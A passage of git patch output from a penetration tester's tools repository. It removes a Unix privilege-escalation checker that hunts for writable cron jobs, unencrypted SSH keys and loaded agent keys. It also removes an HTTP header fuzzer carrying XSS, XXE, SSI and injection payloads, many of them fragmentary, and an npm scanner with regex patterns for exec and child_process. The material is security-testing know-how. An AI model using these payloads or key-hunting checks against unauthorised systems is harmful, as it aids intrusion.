USER=`echo "$LINE" | awk '{print $6}'` - DIR=`echo "$LINE" | sed 's/.*run-parts[^()&|;\/]*\(\/[^ ]*\).*/\1/'` - check_perms "$DIR holds cron jobs which are run as $USER." "$DIR" "$USER" - if [ -d "$DIR" ]; then - echo " Checking directory: $DIR" - for FILE in $DIR/*; do - FILENAME=`echo "$FILE" | sed 's/.*\///'` - if [ "$FILENAME" = "*" ]; then - echo " No files in this directory." - continue - fi - check_called_programs "$FILE is run by cron as $USER." "$FILE" "$USER" - done - fi - done - - # TODO bsd'd periodic: - # 1 3 * * * root periodic daily - # 15 4 * * 6 root periodic weekly - # 30 5 1 * * root periodic monthly - - grep -v '^#' /etc/crontab | grep -v '^[ ]*$' | grep '[ ][^ ][^ ]*[ ][ ]*' | while read LINE - do - echo "Processing crontab entry: $LINE" - USER=`echo "$LINE" | awk '{print $6}'` - PROG=`echo "$LINE" | awk '{print $7}'` - check_called_programs "$PROG is run from crontab as $USER." $PROG $USER $MYPATH - done -else - echo "File /etc/crontab not present. Skipping checks." -fi - -# Do this if run-crons is run from /etc/crontab -if [ -n "$CRONDIRS" ]; then - USER=`echo "$CRONDIRS" | awk '{print $6}'` - section "Checking /etc/cron.(hourly|daily|weekly|monthly)" - for DIR in hourly daily weekly monthly; do - if [ -d "/etc/cron.$DIR" ]; then - echo " Checking directory: /etc/cron.$DIR" - for FILE in /etc/cron.$DIR/*; do - FILENAME=`echo "$FILE" | sed 's/.*\///'` - if [ "$FILENAME" = "*" ]; then - echo "No files in this directory." - continue - fi - check_called_programs "$FILE is run via cron as $USER." "$FILE" $USER - done - fi - done -fi - -section "Checking cron job programs aren't writable (/var/spool/cron/crontabs)" -if [ -d "/var/spool/cron/crontabs" ]; then - for FILE in /var/spool/cron/crontabs/*; do - USER=`echo "$FILE" | sed 's/^.*\///'` - if [ "$USER" = "*" ]; then - echo "No user crontabs found in /var/spool/cron/crontabs. Skipping checks." - continue - fi - echo "Processing crontab for $USER: $FILE" - if [ -r "$FILE" ]; then - MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = ` - if [ -n "$MYPATH" ]; then - echo Crontab path is $MYPATH - fi - grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE - do - echo "Processing crontab entry: $LINE" - PROG=`echo "$LINE" | awk '{print $6}'` - check_called_programs "$PROG is run via cron as $USER." "$PROG" $USER - done - else - echo "ERROR: Can't read file $FILE" - fi - done -else - echo "Directory /var/spool/cron/crontabs is not present. Skipping checks." -fi - -section "Checking cron job programs aren't writable (/var/spool/cron/tabs)" -if [ -d "/var/spool/cron/tabs" ]; then - for FILE in /var/spool/cron/tabs/*; do - USER=`echo "$FILE" | sed 's/^.*\///'` - if [ "$USER" = "*" ]; then - echo "No user crontabs found in /var/spool/cron/crontabs. Skipping checks." - continue - fi - echo "Processing crontab for $USER: $FILE" - if [ -r "$FILE" ]; then - MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = ` - if [ -n "$MYPATH" ]; then - echo Crontab path is $MYPATH - fi - grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE - do - echo "Processing crontab entry: $LINE" - PROG=`echo "$LINE" | awk '{print $6}'` - check_called_programs "$PROG is run from cron as $USER." $PROG $USER $MYPATH - done - else - echo "ERROR: Can't read file $FILE" - fi - done -else - echo "Directory /var/spool/cron/tabs is not present. Skipping checks." -fi - -# Check programs run from /etc/inetd.conf have secure permissions -# TODO: check inetd is actually running -section "Checking inetd programs aren't writable" -if [ -f /etc/inetd.conf ] && [ -r /etc/inetd.conf ]; then - grep -v '^#' /etc/inetd.conf | grep -v '^[ \t]*$' | while read LINE - do - USER=`echo $LINE | awk '{print $5}'` - PROG=`echo $LINE | awk '{print $6}'` # could be tcpwappers ... - PROG2=`echo $LINE | awk '{print $7}'` # ... and this is the real prog - if [ -z "$PROG" ] || [ "$PROG" = "internal" ]; then - # Not calling an external program - continue - fi - echo Processing inetd line: $LINE - if [ -f "$PROG" ]; then - check_called_programs "$PROG is run from inetd as $USER." $PROG $USER - fi - if [ -f "$PROG2" ]; then - check_called_programs "$PROG is run from inetd as $USER." $PROG2 $USER - fi - done -else - echo "File /etc/inetd.conf not present. Skipping checks." -fi - -# Check programs run from /etc/xinetd.d/* -# TODO: check xinetd is actually running -section "Checking xinetd programs aren't writeable" -if [ -d /etc/xinetd.d ]; then - for FILE in `grep 'disable[ \t]*=[ \t]*no' /etc/xinetd.d/* | cut -f 1 -d :`; do - echo Processing xinetd service file: $FILE - PROG=`grep '^[ \t]*server[ \t]*=[ \t]*' $FILE | sed 's/.*server.*=[ \t]*//'` - USER=`grep '^[ \t]*user[ \t]*=[ \t]*' $FILE | sed 's/.*user.*=[ \t]*//'` - check_called_programs "$PROG is run from xinetd as $USER." $PROG $USER - done -else - echo "Directory /etc/xinetd.d not present. Skipping checks." -fi - -# Check for writable home directories -section "Checking home directories aren't writable" -cat /etc/passwd | grep -v '^#' | while read LINE -do - echo Processing /etc/passwd line: $LINE - USER=`echo $LINE | cut -f 1 -d :` - DIR=`echo $LINE | cut -f 6 -d :` - SHELL=`echo $LINE | cut -f 7 -d :` - if [ "$SHELL" = "/sbin/nologin" ] || [ "$SHELL" = "/bin/false" ]; then - echo " Skipping user $USER. They don't have a shell." - else - if [ "$DIR" = "/dev/null" ]; then - echo " Skipping /dev/null home directory" - else - check_perms "$DIR is the home directory of $USER." $DIR $USER - fi - fi -done - -# Check for readable files in home directories -section "Checking for readable sensitive files in home directories" -cat /etc/passwd | while read LINE -do - USER=`echo $LINE | cut -f 1 -d :` - DIR=`echo $LINE | cut -f 6 -d :` - SHELL=`echo $LINE | cut -f 7 -d :` - for FILE in $HOME_DIR_FILES; do - if [ -f "$DIR/$FILE" ]; then - check_read_perms "$DIR/$FILE is in the home directory of $USER." "$DIR/$FILE" $USER - fi - done -done - -section "Checking SUID programs" -if [ "$MODE" = "detailed" ]; then - for FILE in `find / -type f -perm -04000 2>/dev/null`; do - check_called_programs_suid $FILE - done -else - echo "Skipping checks of SUID programs (it's slow!). Run again in 'detailed' mode." -fi - -# Check for private SSH keys in home directories -section "Checking for Private SSH Keys home directories" -for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do - if [ -d "$HOMEDIR/.ssh" ]; then - PRIV_KEYS=`grep -l 'BEGIN [RD]SA PRIVATE KEY' $HOMEDIR/.ssh/* 2>/dev/null` - if [ -n "$PRIV_KEYS" ]; then - for KEY in $PRIV_KEYS; do - ENC_KEY=`grep -l 'ENCRYPTED' "$KEY" 2>/dev/null` - if [ -n "$ENC_KEY" ]; then - echo "WARNING: Encrypted Private SSH Key Found in $KEY" - else - echo "WARNING: Unencrypted Private SSH Key Found in $KEY" - fi - done - fi - fi -done - -# Check for public SSH keys in home directories -section "Checking for Public SSH Keys home directories" -for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do - if [ -r "$HOMEDIR/.ssh/authorized_keys" ]; then - KEYS=`grep '^ssh-' $HOMEDIR/.ssh/authorized_keys 2>/dev/null` - if [ -n "$KEYS" ]; then - echo "WARNING: Public SSH Key Found in $HOMEDIR/.ssh/authorized_keys" - fi - fi -done - -# Check for any SSH agents running on the box -section "Checking for SSH agents" -AGENTS=`ps -ef | grep ssh-agent | grep -v grep` -if [ -n "$AGENTS" ]; then - echo "WARNING: There are SSH agents running on this system:" - ps -ef | grep ssh-agent | grep -v grep - # for PID in `ps aux | grep ssh-agent | grep -v grep | awk '{print $2}'`; do - for SOCK in `ls /tmp/ssh-*/agent.* 2>/dev/null`; do - SSH_AUTH_SOCK=$SOCK; export SSH_AUTH_SOCK - AGENT_KEYS=`ssh-add -l | grep -v 'agent has no identities.' 2>/dev/null` - if [ -n "$AGENT_KEYS" ]; then - echo "WARNING: SSH Agent has keys loaded [SSH_AUTH_SOCK=$SSH_AUTH_SOCK]" - ssh-add -l - fi - done -else - echo "No SSH agents found" -fi - -# Check for any GPG agents running on the box -section "Checking for GPG agents" -AGENTS=`ps -ef | grep gpg-agent | grep -v grep` -if [ -n "$AGENTS" ]; then - echo "WARNING: There are GPG agents running on this system:" - ps aux | grep gpg-agent | grep -v grep -else - echo "No GPG agents found" -fi - -# Check files in /etc/init.d/* can't be modified by non-root users -section "Checking startup files (init.d / rc.d) aren't writable" -for DIR in /etc/init.d /etc/rc.d /usr/local/etc/rc.d; do - if [ -d "$DIR" ]; then - for FILE in $DIR/*; do - F=`echo "$FILE" | sed 's/^.*\///'` - if [ "$F" = "*" ]; then - echo "No user startup script found in $DIR. Skipping checks." - continue - fi - echo Processing startup script $FILE - check_called_programs "$FILE is run by root at startup." $FILE root - done - fi -done - -section "Checking if running programs are writable" -if [ $OS = "solaris" ]; then - # use the output of ps command - ps -ef -o user,comm | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - PROG=`echo "$LINE" | awk '{print $2}'` - check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" - done -elif [ $OS = "bsd" ]; then - # use the output of ps command - ps aux | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - PROG=`echo "$LINE" | awk '{print $11}'` - check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" - done -elif [ $OS = "hpux" ]; then - # use the output of ps command - ps -ef | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - PROG1=`echo "$LINE" | awk '{print $8}'` - PROG2=`echo "$LINE" | awk '{print $9}'` - if [ -f "$PROG1" ]; then - check_called_programs "$PROG is currently running as $USER." "$PROG1" "$USER" - fi - if [ -f "$PROG2" ]; then - check_called_programs "$PROG is currently running as $USER." "$PROG2" "$USER" - fi - done -elif [ $OS = "linux" ]; then - # use the /proc file system - for PROCDIR in /proc/[0-9]*; do - unset PROGPATH - PID=`echo $PROCDIR | cut -f 3 -d /` - echo ------------------------ - echo "PID: $PID" - if [ -d "$PROCDIR" ]; then - if [ -r "$PROCDIR/exe" ]; then - PROGPATH=`ls -l "$PROCDIR/exe" 2>&1 | sed 's/ (deleted)//' | awk '{print $NF}'` - else - if [ -r "$PROCDIR/cmdline" ]; then - P=`cat $PROCDIR/cmdline | tr "\0" = | cut -f 1 -d = | grep '^/'` - if [ -z "$P" ]; then - echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline` - else - PROGPATH=$P - fi - else - echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline` - continue - fi - fi - get_owner $PROCDIR; OWNER=$GET_OWNER_RETURN - echo "Owner: $OWNER" - else - echo "ERROR: Can't find OWNER. Process has gone." - continue - fi - - if [ -n "$PROGPATH" ]; then - get_owner $PROGPATH; PROGOWNER=$GET_OWNER_RETURN - echo "Program path: $PROGPATH" - check_called_programs "$PROGPATH is currently running as $OWNER." $PROGPATH $OWNER - fi - - if [ "$MODE" == "detailed" ]; then - for FILE in $PROCDIR/fd/*; do - F=`echo "$FILE" | sed 's/^.*\///'` - if [ "$F" = "*" ]; then - continue - fi - check_perms "$FILE is an open file descriptor for process $PID running as $OWNER." $FILE $OWNER - done - fi - done -fi \ No newline at end of file diff --git a/aqua b/aqua deleted file mode 100755 index d61d4b3..0000000 --- a/aqua +++ /dev/null @@ -1,12 +0,0 @@ -#!/bin/bash -# Aquatone automation script -# usage: ./aqua DOMAIN - -aquatone-discover -d $1 -aquatone-scan -d $1 -aquatone-gather -d $1 - -mv ~/aquatone/$1 . - -echo -echo "[+] DONE" diff --git a/http_headers_fuzzer/http_headers_fuzzer.py b/http_headers_fuzzer/http_headers_fuzzer.py deleted file mode 100755 index 8ef3144..0000000 --- a/http_headers_fuzzer/http_headers_fuzzer.py +++ /dev/null @@ -1,214 +0,0 @@ -#!/usr/bin/env python3 - -# HTTP headers fuzzer -# args: url -import requests -import sys -import os - -logfile = open('fuzzer.log', 'w') - -payloads = [ - { - "Content-Type": "text/plain", - "User-Agent": "HTTP Fuzzer", - "Accept": "*.*" - }, - { - "Content-Type": "application/xml", - "User-Agent": "", - "Accept": "*.*" - }, - { - "Content-Type": "application/json", - "Accept": "*.*", - "User-Agent": "';", - }, - # { - # "Host": sys.argv[1], - # "Content-Type": "image/jpeg", - # "Accept": "*.*", - # "User-Agent": '";-- - ' - # } -] - -postdata = [ - # text/plain - "some random string", - # application/x-www-form-urlencoded - "foo=bar&debug=true", - # application/xml - r""" - - - -Gambardella, Matthew -XML Developer's Guide -Computer -44.95 -2000-10-01 -An in-depth look at creating applications -with XML. - - - """, - # application/json - r""" -{"id":"10", "username":"admin","token":"somerandomtoken"} - """, - # some SSI - r""" -
-
 
-
-
- - - - - - - - - - - - - - - - - - """, - # r""" - # var n=0;while(true){n++;}]]> - # SCRIPT]]>alert('gotcha');/SCRIPT]]> - # - # ]>&xee; - # ]>&xee; - # ]>&xee; - # ]>&xee; - # - # ]> - # - # ]> - # "]]>" - # "cript:alert('XSS')"">" - # "" - # "XSS" - # ','')); phpinfo(); exit;/* - - # """, - # XXE - # r""" - # - # - # ]> - # ]>&foo; - # ]> - # ]>&foo; - # - # ]>&xxe; - # ]> - # ]>&xxe; - # ]> - # ]>&xxe; - # ]> - # ]>&xxe; - # ]> - # ]>&xxe; - # ]> - # ]>&xxe; - # - # ]]> - # &foo; - # %foo; - # count(/child::node()) - # x' or name()='username' or 'x'='y - # ','')); phpinfo(); exit;/* - # var n=0;while(true){n++;}]]> - # SCRIPT]]>alert('XSS');/SCRIPT]]> - # SCRIPT]]>alert('XSS');/SCRIPT]]> - # SCRIPT]]>alert('XSS');/SCRIPT]]> - # - # - # ]]> - # <IMG SRC="javascript:alert('XSS')"> - # - # - # - # XSS - # - # - # - # - # ]> - # ]> - # ]> - # ]> - # ]> - # "> %int; - # "> - # %dtd;%trick;]> - # %dtd;%trick;]> - # %dtd;]>]]> - # """ -] - - -def pretty_response_print(method, url, response): - if 'Content-Length' in response.headers.keys(): - content_length = response.headers['Content-Length'] - else: - content_length = 'unknown' - - print("{} {}\t\t HTTP {}: size: {}".format( - method, url, response.status_code, content_length)) - logfile.write('RESPONSE HEADERS:\n{}\nRESPONSE BODY:\n{}\n{}\n\n'.format( - response.headers.__str__(), response.text, '-' * 120)) - - -def send_request_with_method(method, url, payload): - http_url = "http://{}".format(url) - https_url = "https://{}".format(url) - if method == 'GET': - data = '' - logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, - http_url, payload.__str__(), data.__str__())) - pretty_response_print(method, http_url, requests.get( - http_url, headers=payload, allow_redirects=False)) - - logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, - https_url, payload.__str__(), data.__str__())) - pretty_response_print(method, https_url, requests.get( - https_url, headers=payload, allow_redirects=False)) - - if method == 'POST': - for data in postdata: - logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, - http_url, payload.__str__(), data.__str__())) - pretty_response_print(method, http_url, requests.post( - http_url, headers=payload, data=data, allow_redirects=False)) - - logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, - https_url, payload.__str__(), data.__str__())) - pretty_response_print(method, https_url, requests.post( - http_url, headers=payload, data=data, allow_redirects=False)) - - -def fuzz(host, url): - print("[+] Fuzzing {}...".format(url)) - - for payload in payloads: - payload["Host"] = host - send_request_with_method('GET', url, payload) - send_request_with_method('POST', url, payload) - - -if __name__ == '__main__': - host = sys.argv[1] - url = sys.argv[2] - - fuzz(host, url) - logfile.close() diff --git a/http_headers_fuzzer/requirements.txt b/http_headers_fuzzer/requirements.txt deleted file mode 100644 index 566083c..0000000 --- a/http_headers_fuzzer/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.22.0 diff --git a/npmpwnr.py b/npmpwnr.py deleted file mode 100755 index d507e49..0000000 --- a/npmpwnr.py +++ /dev/null @@ -1,124 +0,0 @@ -#!/usr/bin/env python3 -import requests -import json -import subprocess -import os -import re -import sys - - -limit = 10 -skip = 100 - -registry_base_url = "https://registry.npmjs.com" -logfile = "vulnerable.log" - -headers = { - "User-Agent": "bl4de@wearehackerone" -} -npm_home_dir = "{}/node_modules".format(os.environ['HOME']) - -patterns = [ - ".*url.parse\(", - ".*[pP]ath.normalize\(", - ".*fs.*File.*\(", - ".*fs.*Read.*\(", - ".*pipe\(res", - ".*bodyParser\(", - ".*eval\(", - ".*exec\(", - ".*execSync\(", - ".*res.write\(", - ".*child_process", - ".*child_process.exec\(", - ".*\sFunction\(", - ".*execFile\(", - ".*spawn\(", - ".*fork\(", - ".*setImmediate\(", - ".*newBuffer\(", - ".*\.constructor\(" -] - - -def get_list_of_packages_to_process(keyword, size): - res = requests.get( - url="{}{}".format( - registry_base_url, "/-/v1/search?text={}&size={}".format(keyword, size)), - headers=headers - ) - if res.status_code == 200: - return res.json() - - return False - - -def get_package_details(pkg_name): - res = requests.get( - url="{}{}".format(registry_base_url, pkg_name), - headers=headers - ) - if res.status_code == 200: - return res.json() - - return False - - -def install_package(pkg_name): - subprocess.run(["npm", "i", pkg_name]) - - -def process_files(subdirectory, sd_files, log): - """ - recursively iterates ofer all files and checks those which meet - criteria set by options only - """ - for __file in sd_files: - current_filename = os.path.join(subdirectory, __file) - if current_filename[-3:] == '.js': - perform_code_analysis(current_filename, log) - - -def perform_code_analysis(src, log): - """ - performs code analysis, line by line - """ - print_filename = True - - _file = open(src, "r") - _code = _file.readlines() - i = 0 - found = False - for _line in _code: - i += 1 - __line = _line.strip() - for __pattern in patterns: - __rex = re.compile(__pattern) - if __rex.match(__line.replace(' ', '')): - found = True - if found == True: - print("file {} is vulnerable".format(src)) - log.write("{}\n".format(src)) - - -if len(sys.argv) < 2: - exit('No keywork provided, exiting...') -else: - keyword = sys.argv[1] - -size = 10 # default -if len(sys.argv) == 3: - size = int(sys.argv[2]) - -log = open(logfile, "w") - -# get list of packages to process -pkgs = get_list_of_packages_to_process(keyword, size) - -for pkg in pkgs['objects']: - pkg_name = pkg['package']['name'] - install_package(pkg_name) - log.write("\n{}\n".format(pkg_name)) - - for subdir, dirs, files in os.walk("{}/{}".format(npm_home_dir, pkg_name)): - process_files(subdir, files, log) diff --git a/source_tracker/LICENSE.md b/source_tracker/LICENSE.md deleted file mode 100644 index a32ee95..0000000 --- a/source_tracker/LICENSE.md +++ /dev/null @@ -1,20 +0,0 @@ -Copyright (c) 2018 Rafal 'bl4de' Janicki - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/source_tracker/README.md b/source_tracker/README.md deleted file mode 100644 index a8641a7..0000000 --- a/source_tracker/README.md +++ /dev/null @@ -1,80 +0,0 @@ -### source_tracker.py - compare website source code with snapshot - -This tool compares website source code with previously saved snapshot. - -When used first time, it creates snapshot. When used again, it compares source code from the moment when tools was run with the source code saved in snapshot - and shows all differences (line by line) if any. - -### Usage - -Sample usage (no differences found between current source and snapshoted one): - -``` -$ ./compare.py https://hackerone.com - -[+] snapshot not found, saving snapshot... - -$ ./compare.py https://hackerone.com - -[+] snapshot found, compare snapshot with current source... - - --------------------------------------------------------------------------------------------- -[+] no differencies found; snapshot and current https://hackerone.com source are identical - -[+] DONE. -``` - -Sample usage (differences found): - - -``` -$ ./compare.py http://localhost:8080/test.html - -[+] snapshot not found, saving snapshot... - -``` - -Now, I've introduced some small changes in `test.html` and run tool again: - -``` -$ ./compare.py http://localhost:8080/test.html - -[+] snapshot found, compare snapshot with current source... - --- LINE 4 -------------------------------------------------------------------------------- - ->>>>> snaphsot line 4 -: - Node HackerOne Playground - - -<<<<< site source line 4 - - Node HackerOne Playground Title changed? - --- LINE 9 -------------------------------------------------------------------------------- - ->>>>> snaphsot line 9 -: - console.log('uh oh, change!!') - - -<<<<< site source line 9 - - console.log('changed here!!') - - --------------------------------------------------------------------------------------------- -[+] 2 differencies between snapshot and current source found - -[+] DONE. - -``` - -### TODO - -- refactoring -- multiple websites compare (loaded list form file, eg. output from Aquatone?) -- colorful output :D -- multiple snapshots (?) - diff --git a/source_tracker/source_tracker.py b/source_tracker/source_tracker.py deleted file mode 100755 index 39d95ff..0000000 --- a/source_tracker/source_tracker.py +++ /dev/null @@ -1,127 +0,0 @@ -#!/usr/bin/python -""" -source_tracker.py - -@author: Rafal 'bl4de' Janicki - -@Twitter: https://twitter.com/_bl4de -@HackerOne: https://hackerone.com/bl4de -@GitHub: https://github.com/bl4de - -Website source changes tracker. When run for the first time against given url, creates snapshot file with current source. -Next run compares source from snapshot and shows all differencies between saved snapshot and current source. - -Licence: MIT -""" -import requests -import os -import argparse - -colors = { - "black": '\33[30m', - "white": '\33[37m', - "red": '\33[31m', - "green": '\33[32m', - "yellow": '\33[33m', - "blue": '\33[34m', - "magenta": '\33[35m', - "cyan": '\33[36m', - "grey": '\33[90m', - "lightgrey": '\33[37m', - "lightblue": '\33[94' -} - - -def create_filename_from_url(site_url): - return site_url.replace('https://', '').replace( - 'http://', '').replace('/', '_').replace(':', '_').replace('.', '_') + '_SNAPSHOT' - - -def send_request(site_url): - headers = { - 'Accept': 'text/html', - 'User-Agent': 'Some simple Python script' - } - return requests.get(site_url, headers=headers) - - -def abort(status_code): - print '\n{}[-] response code: HTTP {}{}'.format( - colors['red'], status_code, colors['white']) - print '\n{}[-] ABORTING...{}\n'.format(colors['red'], colors['white']) - exit(0) - - -def print_line(line, color): - # TBD - return - -def print_diff(snapshot_source, site_source, line_counter): - print '\n{}-- Change in line {} {}{}'.format(colors['red'], - line_counter + 1, '-' * 80 + '\n', colors['white']) - - print '{}>>>>> snaphsot line {}'.format( - colors['yellow'], line_counter + 1) - - print '{}{}:\t{}{}'.format(colors['white'],line_counter, colors['grey'], snapshot_source[line_counter - 1].strip()) - print '{}{}:\t{}{}'.format(colors['white'],line_counter + 1, colors['cyan'], snapshot_source[line_counter].strip()) - print '{}{}:\t{}{}'.format(colors['white'],line_counter + 2, colors['grey'], snapshot_source[line_counter + 1].strip()) - - print '\n{}<<<<< site source line {}'.format( - colors['yellow'], line_counter + 1) - print '{}{}:\t{}{}'.format(colors['white'], line_counter, colors['grey'], site_source[line_counter - 1].strip()) - print '{}{}:\t{}{}'.format(colors['white'], line_counter + 1, colors['cyan'], site_source[line_counter].strip()) - print '{}{}:\t{}{}{}'.format(colors['white'], line_counter + 2, colors['grey'], site_source[line_counter + 1].strip(), colors['white']) - - -def main(site_url): - snapshot_filename = create_filename_from_url(site_url) - differencies = 0 - - res = send_request(site_url) - - if res.status_code != 200: - abort(res.status_code) - - if os.path.isfile(snapshot_filename): - print '\n{}[+] snapshot found, compare snapshot with current source...{}'.format( - colors['green'], colors['white']) - snapshot_source = open(snapshot_filename, 'r').readlines() - site_source = res.text.encode('utf-8').split('\n') - line_counter = 0 - - for snapshot_line in snapshot_source: - if snapshot_line.strip() != site_source[line_counter].strip(): - print_diff(snapshot_source, site_source, line_counter) - differencies = differencies + 1 - - line_counter = line_counter + 1 - print '\n\n{}'.format('-' * 92) - - else: - print '\n{}[+] snapshot not found, saving snapshot...{}'.format( - colors['green'], colors['white']) - f = open(snapshot_filename, 'w') - f.write(res.text.encode('utf-8')) - exit(0) - - if differencies > 0: - print '{}[+] {} differencies between snapshot and current source found{}'.format( - colors['green'], differencies, colors['white']) - else: - print '{}[+] no differencies found; snapshot and current {} source are identical{}'.format( - colors['green'], site_url, colors['white']) - - print '\n{}[+] DONE.{}'.format(colors['green'], colors['white']) - - -if __name__ == "__main__": - - parser = argparse.ArgumentParser() - parser.add_argument( - "url", help="An url to webiste/file (eg. https://hackerone.com or https://www.google-analytics.com/plugins/ua/ec.js)") - - args = parser.parse_args() - site_url = args.url - - main(site_url) From 1a282fb70fe951cee3a9fbca0ad910882e3b0ccf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 30 Dec 2020 20:29:57 +0000 Subject: [PATCH 068/369] [denumerator] --nmap option to enable nmap scan (off by default) --- denumerator/denumerator.py | 37 +++++++++++++++++++++++-------------- 1 file changed, 23 insertions(+), 14 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 2f6d2cc..c784252 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -63,7 +63,7 @@ requests.packages.urllib3.disable_warnings() timeout = 2 - +nmap = False def usage(): """ @@ -144,14 +144,15 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ ip_html = ip_html + "

IP: {}

".format( ip.split(b"address")[1].decode("utf-8") ) ip_html = ip_html + "" - # nmap scan results - open_ports = [port for port in nmap_output.stdout.split( - b"\n") if port.find(b"open") > 0] - nmap_html = "
" - for port in open_ports: - nmap_html = nmap_html + \ - "

{}

".format(port.decode("utf-8")) - nmap_html = nmap_html + "
" + if nmap == True: + # nmap scan results + open_ports = [port for port in nmap_output.stdout.split( + b"\n") if port.find(b"open") > 0] + nmap_html = "
" + for port in open_ports: + nmap_html = nmap_html + \ + "

{}

".format(port.decode("utf-8")) + nmap_html = nmap_html + "
" # HTTP response headers response_headers_html = "" @@ -243,12 +244,14 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], iterator, number_of_domains, colors['white'])) # IP address ip = subprocess.run(["host", d], capture_output=True, timeout=15).stdout + nmap_output = '' - # perform nmap scan - nmap_output = subprocess.run( - ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) - print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") - for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) + if nmap == True: + # perform nmap scan + nmap_output = subprocess.run( + ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) + print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") + for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) send_request('http', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) @@ -300,6 +303,9 @@ def main(): parser.add_argument( "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' ) + parser.add_argument( + "-n", "--nmap", help="use nmap for port scanning (slows down the whole eenumeration A LOT, so be warned!)", default=100 + ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 ) @@ -308,6 +314,9 @@ def main(): if args.timeout: timeout = args.timeout + if args.nmap: + nmap = True + if args.output: output_file = open(args.output, 'w+') else: From 8c966838ffd945122bdcce92c71670946936976b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 30 Dec 2020 20:30:05 +0000 Subject: [PATCH 069/369] some cleanups --- encoder/ed.py | 94 --------------------------------- encoder/test.txt | 1 - nodestructor/js/foobar.js | 7 +-- nodestructor/nodestructor.py | 2 +- nodestructor/static_analysis.py | 14 ++--- 5 files changed, 12 insertions(+), 106 deletions(-) delete mode 100755 encoder/ed.py delete mode 100644 encoder/test.txt diff --git a/encoder/ed.py b/encoder/ed.py deleted file mode 100755 index 04f29ba..0000000 --- a/encoder/ed.py +++ /dev/null @@ -1,94 +0,0 @@ -#!/usr/bin/env python -"""ED encoder/decoder tools - bl4de | bloorq@gmail.com | Twitter: @_bl4de | H1: bl4de | GitHub: bl4de - - Simple encoder/decoder tool - ./ed.py [string to encode] [input encoding] [output encoding] -""" -import base64 -import sys -import urllib - - -def __get_char_hex_value(c): - """returns 61; for 'a' truncated from 0x61""" - return hex(ord(c)).replace("0x", "") - - -def to_base_64(s): - return base64.b64encode(s) - - -def from_base_64(s): - return base64.b64decode(s) - - -def url_encode(s): - return urllib.quote(s) - - -def to_ascii(s): - return s - - -def from_ascii(s): - return s - - -def from_hex(s): - xs = "" - for d in list(s): - xs += str(int(d, 10)) - - return xs - - -def to_hex(s): - xs = "" - for d in list(s): - hexnum = str(hex(ord(d))).replace("0x", "") - if len(hexnum) < 2: - hexnum = "0" + hexnum - xs += hexnum + " " - - return xs - - -def to_html_entities(s): - xs = "" - for c in s: - entity = "�" + __get_char_hex_value(c) + ";" - if entity: - xs += entity - return xs - - -if __name__ == "__main__": - fn_map_from = { - "base64": from_base_64, - "ascii": from_ascii, - "hex": from_hex - } - - fn_map_to = { - "base64": to_base_64, - "ascii": to_ascii, - "url": url_encode, - "hex": to_hex, - "html_entities": to_html_entities - } - - if len(sys.argv) != 4: - print "usage: ed.py [string] [input] [output]" \ - "\n\n input: base64, ascii, hex\n " \ - "output: base64, ascii, url, hex, html_entities ( eg. )" - exit(0) - - # f = open(sys.argv[1], "r") - # # TODO remove special chars - arg passing - # data = f.readline().replace("\\n", "") - - data = sys.argv[1] - output = fn_map_from[sys.argv[2]](fn_map_to[sys.argv[3]](data)) - - print output diff --git a/encoder/test.txt b/encoder/test.txt deleted file mode 100644 index 2b804be..0000000 --- 